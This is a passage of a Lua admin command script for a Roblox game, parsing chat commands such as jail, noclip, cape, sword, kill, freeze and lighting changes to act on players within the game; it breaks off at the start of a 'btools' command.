  440. if msg:lower():sub(1,4) == "ins " then
  441. coroutine.resume(coroutine.create(function()
  442. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
  443. if obj and #obj:children() >= 1 and plr.Character then
  444. table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
  445. end
  446. end))
  447. end
  448.  
  449. if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
  450. for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
  451. objects = {}
  452. end
  453.  
  454. if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
  455. game.Lighting.Ambient = origsettings.abt
  456. game.Lighting.Brightness = origsettings.brt
  457. game.Lighting.TimeOfDay = origsettings.time
  458. game.Lighting.FogColor = origsettings.fclr
  459. game.Lighting.FogEnd = origsettings.fe
  460. game.Lighting.FogStart = origsettings.fs
  461. for i, v in pairs(lobjs) do v:Destroy() end
  462. for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
  463. end
  464.  
  465. if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
  466. coroutine.resume(coroutine.create(function()
  467. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  468. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  469. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  470. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  471. end))
  472. end
  473.  
  474. if msg:lower():sub(1,2) == "m " then
  475. Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
  476. end
  477.  
  478. if msg:lower():sub(1,2) == "h " then
  479. Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
  480. end
  481.  
  482. if msg:lower():sub(1,3) == "pm " then
  483. local chk1 = msg:lower():sub(4):find(" ") + 3
  484. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  485. Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
  486. end
  487.  
  488. if msg:lower():sub(1,11) == "resetstats " then
  489. local plrz = GetPlr(plr, msg:lower():sub(12))
  490. for i, v in pairs(plrz) do
  491. coroutine.resume(coroutine.create(function()
  492. if v and v:findFirstChild("leaderstats") then
  493. for a, q in pairs(v.leaderstats:children()) do
  494. if q:IsA("IntValue") then q.Value = 0 end
  495. end
  496. end
  497. end))
  498. end
  499. end
  500.  
  501. if msg:lower():sub(1,5) == "gear " then
  502. local chk1 = msg:lower():sub(6):find(" ") + 5
  503. local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
  504. for i, v in pairs(plrz) do
  505. coroutine.resume(coroutine.create(function()
  506. if v and v.Character then
  507. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  508. for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Character end end
  509. obj:Destroy()
  510. end
  511. end))
  512. end
  513. end
  514.  
  515. if msg:lower():sub(1,4) == "hat " then
  516. local chk1 = msg:lower():sub(5):find(" ") + 4
  517. local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
  518. for i, v in pairs(plrz) do
  519. coroutine.resume(coroutine.create(function()
  520. if v and v.Character then
  521. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  522. for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
  523. obj:Destroy()
  524. end
  525. end))
  526. end
  527. end
  528.  
  529. if msg:lower():sub(1,5) == "cape " then
  530. local chk1 = msg:lower():sub(6):find(" ")
  531. local plrz = GetPlr(plr, msg:lower():sub(6))
  532. local str = "torso.BrickColor"
  533. if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  534. local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
  535. if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
  536. if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
  537. if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
  538. if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
  539. if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
  540. if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
  541. if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
  542. if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
  543. if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
  544. if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
  545. if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
  546. if BrickColor.new(teststr) ~= nil then str = teststr end
  547. end
  548. for i, v in pairs(plrz) do
  549. coroutine.resume(coroutine.create(function()
  550. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
  551. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  552. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  553. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  554. local torso = plr.Character.Torso
  555. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  556. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
  557. p.Size = Vector3.new(.2,.2,.2)
  558. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  559. local motor1 = Instance.new("Motor", p)
  560. motor1.Part0 = p
  561. motor1.Part1 = torso
  562. motor1.MaxVelocity = .01
  563. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  564. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  565. local wave = false
  566. repeat wait(1/44)
  567. local ang = 0.1
  568. local oldmag = torso.Velocity.magnitude
  569. local mv = .002
  570. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  571. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  572. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  573. motor1.DesiredAngle = -ang
  574. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  575. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  576. if torso.Velocity.magnitude < .1 then wait(.1) end
  577. until not p or p.Parent ~= torso.Parent
  578. script:Destroy()
  579. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  580. end
  581. end))
  582. end
  583. end
  584.  
  585. if msg:lower():sub(1,7) == "uncape " then
  586. local plrz = GetPlr(plr, msg:lower():sub(8))
  587. for i, v in pairs(plrz) do
  588. coroutine.resume(coroutine.create(function()
  589. if v and v:findFirstChild("PlayerGui") and v.Character then
  590. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  591. end
  592. end))
  593. end
  594. end
  595.  
  596. if msg:lower():sub(1,7) == "noclip " then
  597. local plrz = GetPlr(plr, msg:lower():sub(8))
  598. for i, v in pairs(plrz) do
  599. coroutine.resume(coroutine.create(function()
  600. if v and v:findFirstChild("PlayerGui") then
  601. local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
  602. cl.Parent = v.PlayerGui cl.Disabled = false
  603. end
  604. end))
  605. end
  606. end
  607.  
  608. if msg:lower():sub(1,5) == "clip " then
  609. local plrz = GetPlr(plr, msg:lower():sub(6))
  610. for i, v in pairs(plrz) do
  611. coroutine.resume(coroutine.create(function()
  612. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  613. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
  614. v.Character.Torso.Anchored = false
  615. wait(.1) v.Character.Humanoid.PlatformStand = false
  616. end
  617. end))
  618. end
  619. end
  620.  
  621. if msg:lower():sub(1,5) == "jail " then
  622. local plrz = GetPlr(plr, msg:lower():sub(6))
  623. for i, v in pairs(plrz) do
  624. coroutine.resume(coroutine.create(function()
  625. if v and v.Character and v.Character:findFirstChild("Torso") then
  626. local vname = v.Name
  627. local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
  628. local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
  629. local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
  630. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  631. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  632. game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
  633. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  634. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  635. end)
  636. local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
  637. local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
  638. local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
  639. local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
  640. local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
  641. local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
  642. local msh2 = msh:Clone() msh2.Parent = back
  643. local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
  644. local msh4 = msh3:Clone() msh4.Parent = left
  645. v.Character.Torso.CFrame = cf
  646. end
  647. end))
  648. end
  649. end
  650.  
  651. if msg:lower():sub(1,7) == "unjail " then
  652. local plrz = GetPlr(plr, msg:lower():sub(8))
  653. for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
  654. end
  655.  
  656. if msg:lower():sub(1,11) == "starttools " then
  657. local plrz = GetPlr(plr, msg:lower():sub(12))
  658. for i, v in pairs(plrz) do
  659. coroutine.resume(coroutine.create(function()
  660. if v and v:findFirstChild("Backpack") then
  661. for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
  662. end
  663. end))
  664. end
  665. end
  666.  
  667. if msg:lower():sub(1,6) == "sword " then
  668. local plrz = GetPlr(plr, msg:lower():sub(7))
  669. for i, v in pairs(plrz) do
  670. coroutine.resume(coroutine.create(function()
  671. if v and v:findFirstChild("Backpack") then
  672. local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword" sword.TextureId = "rbxasset://Textures/Sword128.png"
  673. sword.GripForward = Vector3.new(-1,0,0)
  674. sword.GripPos = Vector3.new(0,0,-1.5)
  675. sword.GripRight = Vector3.new(0,1,0)
  676. sword.GripUp = Vector3.new(0,0,1)
  677. local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
  678. local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
  679. local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
  680. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  681. local Damage = 15
  682. local SlashSound = Instance.new("Sound", script.Parent.Handle)
  683. SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
  684. SlashSound.Volume = 1
  685. local LungeSound = Instance.new("Sound", script.Parent.Handle)
  686. LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
  687. LungeSound.Volume = 1
  688. local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
  689. UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
  690. UnsheathSound.Volume = 1
  691. local last = 0
  692. script.Parent.Handle.Touched:connect(function(hit)
  693. if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
  694. local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
  695. hit.Parent.Humanoid:TakeDamage(Damage)
  696. end
  697. end)
  698. script.Parent.Activated:connect(function()
  699. if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
  700. script.Parent.Enabled = false
  701. local tick = game:service("RunService").Stepped:wait()
  702. if tick - last <= .2 then
  703. LungeSound:play()
  704. local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
  705. local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
  706. wait(.2)
  707. script.Parent.GripForward = Vector3.new(0,0,1)
  708. script.Parent.GripRight = Vector3.new(0,-1,0)
  709. script.Parent.GripUp = Vector3.new(-1,0,0)
  710. wait(.3)
  711. frc:Destroy() wait(.5)
  712. script.Parent.GripForward = Vector3.new(-1,0,0)
  713. script.Parent.GripRight = Vector3.new(0,1,0)
  714. script.Parent.GripUp = Vector3.new(0,0,1)
  715. else
  716. SlashSound:play()
  717. local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
  718. end
  719. last = tick
  720. script.Parent.Enabled = true
  721. end)
  722. script.Parent.Equipped:connect(function(mouse)
  723. for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
  724. UnsheathSound:play()
  725. script.Parent.Enabled = true
  726. if not mouse then return end
  727. mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
  728. end)]] cl.Disabled = false
  729. end
  730. end))
  731. end
  732. end
  733.  
  734. if msg:lower():sub(1,5) == "kill " then
  735. local plrz = GetPlr(plr, msg:lower():sub(6))
  736. for i, v in pairs(plrz) do
  737. coroutine.resume(coroutine.create(function()
  738. if v and v.Character then v.Character:BreakJoints() end
  739. end))
  740. end
  741. end
  742.  
  743. if msg:lower():sub(1,8) == "respawn " then
  744. local plrz = GetPlr(plr, msg:lower():sub(9))
  745. for i, v in pairs(plrz) do
  746. coroutine.resume(coroutine.create(function()
  747. if v and v.Character then v:LoadCharacter() end
  748. end))
  749. end
  750. end
  751.  
  752. if msg:lower():sub(1,5) == "trip " then
  753. local plrz = GetPlr(plr, msg:lower():sub(6))
  754. for i, v in pairs(plrz) do
  755. coroutine.resume(coroutine.create(function()
  756. if v and v.Character and v.Character:findFirstChild("Torso") then
  757. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180))
  758. end
  759. end))
  760. end
  761. end
  762.  
  763. if msg:lower():sub(1,5) == "stun " then
  764. local plrz = GetPlr(plr, msg:lower():sub(6))
  765. for i, v in pairs(plrz) do
  766. coroutine.resume(coroutine.create(function()
  767. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  768. v.Character.Humanoid.PlatformStand = true
  769. end
  770. end))
  771. end
  772. end
  773.  
  774. if msg:lower():sub(1,7) == "unstun " then
  775. local plrz = GetPlr(plr, msg:lower():sub(8))
  776. for i, v in pairs(plrz) do
  777. coroutine.resume(coroutine.create(function()
  778. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  779. v.Character.Humanoid.PlatformStand = false
  780. end
  781. end))
  782. end
  783. end
  784.  
  785. if msg:lower():sub(1,5) == "jump " then
  786. local plrz = GetPlr(plr, msg:lower():sub(6))
  787. for i, v in pairs(plrz) do
  788. coroutine.resume(coroutine.create(function()
  789. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  790. v.Character.Humanoid.Jump = true
  791. end
  792. end))
  793. end
  794. end
  795.  
  796. if msg:lower():sub(1,4) == "sit " then
  797. local plrz = GetPlr(plr, msg:lower():sub(5))
  798. for i, v in pairs(plrz) do
  799. coroutine.resume(coroutine.create(function()
  800. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  801. v.Character.Humanoid.Sit = true
  802. end
  803. end))
  804. end
  805. end
  806.  
  807. if msg:lower():sub(1,10) == "invisible " then
  808. local plrz = GetPlr(plr, msg:lower():sub(11))
  809. for i, v in pairs(plrz) do
  810. coroutine.resume(coroutine.create(function()
  811. if v and v.Character then
  812. for a, obj in pairs(v.Character:children()) do
  813. if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
  814. end
  815. end
  816. end))
  817. end
  818. end
  819.  
  820. if msg:lower():sub(1,8) == "visible " then
  821. local plrz = GetPlr(plr, msg:lower():sub(9))
  822. for i, v in pairs(plrz) do
  823. coroutine.resume(coroutine.create(function()
  824. if v and v.Character then
  825. for a, obj in pairs(v.Character:children()) do
  826. if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
  827. end
  828. end
  829. end))
  830. end
  831. end
  832.  
  833. if msg:lower():sub(1,5) == "lock " then
  834. local plrz = GetPlr(plr, msg:lower():sub(6))
  835. for i, v in pairs(plrz) do
  836. coroutine.resume(coroutine.create(function()
  837. if v and v.Character then
  838. for a, obj in pairs(v.Character:children()) do
  839. if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
  840. end
  841. end
  842. end))
  843. end
  844. end
  845.  
  846. if msg:lower():sub(1,7) == "unlock " then
  847. local plrz = GetPlr(plr, msg:lower():sub(8))
  848. for i, v in pairs(plrz) do
  849. coroutine.resume(coroutine.create(function()
  850. if v and v.Character then
  851. for a, obj in pairs(v.Character:children()) do
  852. if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
  853. end
  854. end
  855. end))
  856. end
  857. end
  858.  
  859. if msg:lower():sub(1,8) == "explode " then
  860. local plrz = GetPlr(plr, msg:lower():sub(9))
  861. for i, v in pairs(plrz) do
  862. coroutine.resume(coroutine.create(function()
  863. if v and v.Character and v.Character:findFirstChild("Torso") then
  864. local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
  865. end
  866. end))
  867. end
  868. end
  869.  
  870. if msg:lower():sub(1,4) == "age " then
  871. local plrz = GetPlr(plr, msg:lower():sub(5))
  872. for i, v in pairs(plrz) do
  873. coroutine.resume(coroutine.create(function()
  874. if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
  875. end))
  876. end
  877. end
  878.  
  879. if msg:lower():sub(1,5) == "fire " then
  880. local plrz = GetPlr(plr, msg:lower():sub(6))
  881. for i, v in pairs(plrz) do
  882. coroutine.resume(coroutine.create(function()
  883. if v and v.Character and v.Character:findFirstChild("Torso") then
  884. local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
  885. end
  886. end))
  887. end
  888. end
  889.  
  890. if msg:lower():sub(1,7) == "unfire " then
  891. local plrz = GetPlr(plr, msg:lower():sub(8))
  892. for i, v in pairs(plrz) do
  893. coroutine.resume(coroutine.create(function()
  894. if v and v.Character and v.Character:findFirstChild("Torso") then
  895. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
  896. end
  897. end))
  898. end
  899. end
  900.  
  901. if msg:lower():sub(1,6) == "smoke " then
  902. local plrz = GetPlr(plr, msg:lower():sub(7))
  903. for i, v in pairs(plrz) do
  904. coroutine.resume(coroutine.create(function()
  905. if v and v.Character and v.Character:findFirstChild("Torso") then
  906. local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
  907. end
  908. end))
  909. end
  910. end
  911.  
  912. if msg:lower():sub(1,8) == "unsmoke " then
  913. local plrz = GetPlr(plr, msg:lower():sub(9))
  914. for i, v in pairs(plrz) do
  915. coroutine.resume(coroutine.create(function()
  916. if v and v.Character and v.Character:findFirstChild("Torso") then
  917. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
  918. end
  919. end))
  920. end
  921. end
  922.  
  923. if msg:lower():sub(1,9) == "sparkles " then
  924. local plrz = GetPlr(plr, msg:lower():sub(10))
  925. for i, v in pairs(plrz) do
  926. coroutine.resume(coroutine.create(function()
  927. if v and v.Character and v.Character:findFirstChild("Torso") then
  928. local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
  929. end
  930. end))
  931. end
  932. end
  933.  
  934. if msg:lower():sub(1,11) == "unsparkles " then
  935. local plrz = GetPlr(plr, msg:lower():sub(12))
  936. for i, v in pairs(plrz) do
  937. coroutine.resume(coroutine.create(function()
  938. if v and v.Character and v.Character:findFirstChild("Torso") then
  939. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
  940. end
  941. end))
  942. end
  943. end
  944.  
  945. if msg:lower():sub(1,3) == "ff " then
  946. local plrz = GetPlr(plr, msg:lower():sub(4))
  947. for i, v in pairs(plrz) do
  948. coroutine.resume(coroutine.create(function()
  949. if v and v.Character then Instance.new("ForceField", v.Character) end
  950. end))
  951. end
  952. end
  953.  
  954. if msg:lower():sub(1,5) == "unff " then
  955. local plrz = GetPlr(plr, msg:lower():sub(6))
  956. for i, v in pairs(plrz) do
  957. coroutine.resume(coroutine.create(function()
  958. if v and v.Character then
  959. for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
  960. end
  961. end))
  962. end
  963. end
  964.  
  965. if msg:lower():sub(1,7) == "punish " then
  966. local plrz = GetPlr(plr, msg:lower():sub(8))
  967. for i, v in pairs(plrz) do
  968. coroutine.resume(coroutine.create(function()
  969. if v and v.Character then
  970. v.Character.Parent = game:service("Lighting")
  971. end
  972. end))
  973. end
  974. end
  975.  
  976. if msg:lower():sub(1,9) == "unpunish " then
  977. local plrz = GetPlr(plr, msg:lower():sub(10))
  978. for i, v in pairs(plrz) do
  979. coroutine.resume(coroutine.create(function()
  980. if v and v.Character then
  981. v.Character.Parent = game:service("Workspace")
  982. v.Character:MakeJoints()
  983. end
  984. end))
  985. end
  986. end
  987.  
  988. if msg:lower():sub(1,7) == "freeze " then
  989. local plrz = GetPlr(plr, msg:lower():sub(8))
  990. for i, v in pairs(plrz) do
  991. coroutine.resume(coroutine.create(function()
  992. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  993. for a, obj in pairs(v.Character:children()) do
  994. if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
  995. end
  996. end
  997. end))
  998. end
  999. end
  1000.  
  1001. if msg:lower():sub(1,5) == "thaw " then
  1002. local plrz = GetPlr(plr, msg:lower():sub(6))
  1003. for i, v in pairs(plrz) do
  1004. coroutine.resume(coroutine.create(function()
  1005. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1006. for a, obj in pairs(v.Character:children()) do
  1007. if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
  1008. end
  1009. end
  1010. end))
  1011. end
  1012. end
  1013.  
  1014. if msg:lower():sub(1,5) == "heal " then
  1015. local plrz = GetPlr(plr, msg:lower():sub(6))
  1016. for i, v in pairs(plrz) do
  1017. coroutine.resume(coroutine.create(function()
  1018. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1019. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1020. end
  1021. end))
  1022. end
  1023. end
  1024.  
  1025. if msg:lower():sub(1,4) == "god " then
  1026. local plrz = GetPlr(plr, msg:lower():sub(5))
  1027. for i, v in pairs(plrz) do
  1028. coroutine.resume(coroutine.create(function()
  1029. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1030. v.Character.Humanoid.MaxHealth = math.huge
  1031. v.Character.Humanoid.Health = 9e9
  1032. end
  1033. end))
  1034. end
  1035. end
  1036.  
  1037. if msg:lower():sub(1,6) == "ungod " then
  1038. local plrz = GetPlr(plr, msg:lower():sub(7))
  1039. for i, v in pairs(plrz) do
  1040. coroutine.resume(coroutine.create(function()
  1041. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1042. v.Character.Humanoid.MaxHealth = 100
  1043. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1044. end
  1045. end))
  1046. end
  1047. end
  1048.  
  1049. if msg:lower():sub(1,8) == "ambient " then
  1050. local chk1 = msg:lower():sub(9):find(" ") + 8
  1051. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1052. game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1053. end
  1054.  
  1055. if msg:lower():sub(1,11) == "brightness " then
  1056. game.Lighting.Brightness = msg:sub(12)
  1057. end
  1058.  
  1059. if msg:lower():sub(1,5) == "time " then
  1060. game.Lighting.TimeOfDay = msg:sub(6)
  1061. end
  1062.  
  1063. if msg:lower():sub(1,9) == "fogcolor " then
  1064. local chk1 = msg:lower():sub(10):find(" ") + 9
  1065. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1066. game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1067. end
  1068.  
  1069. if msg:lower():sub(1,7) == "fogend " then
  1070. game.Lighting.FogEnd = msg:sub(8)
  1071. end
  1072.  
  1073. if msg:lower():sub(1,9) == "fogstart " then
  1074. game.Lighting.FogStart = msg:sub(10)
  1075. end
  1076.  
  1077. if msg:lower():sub(1,7) == "btools " then
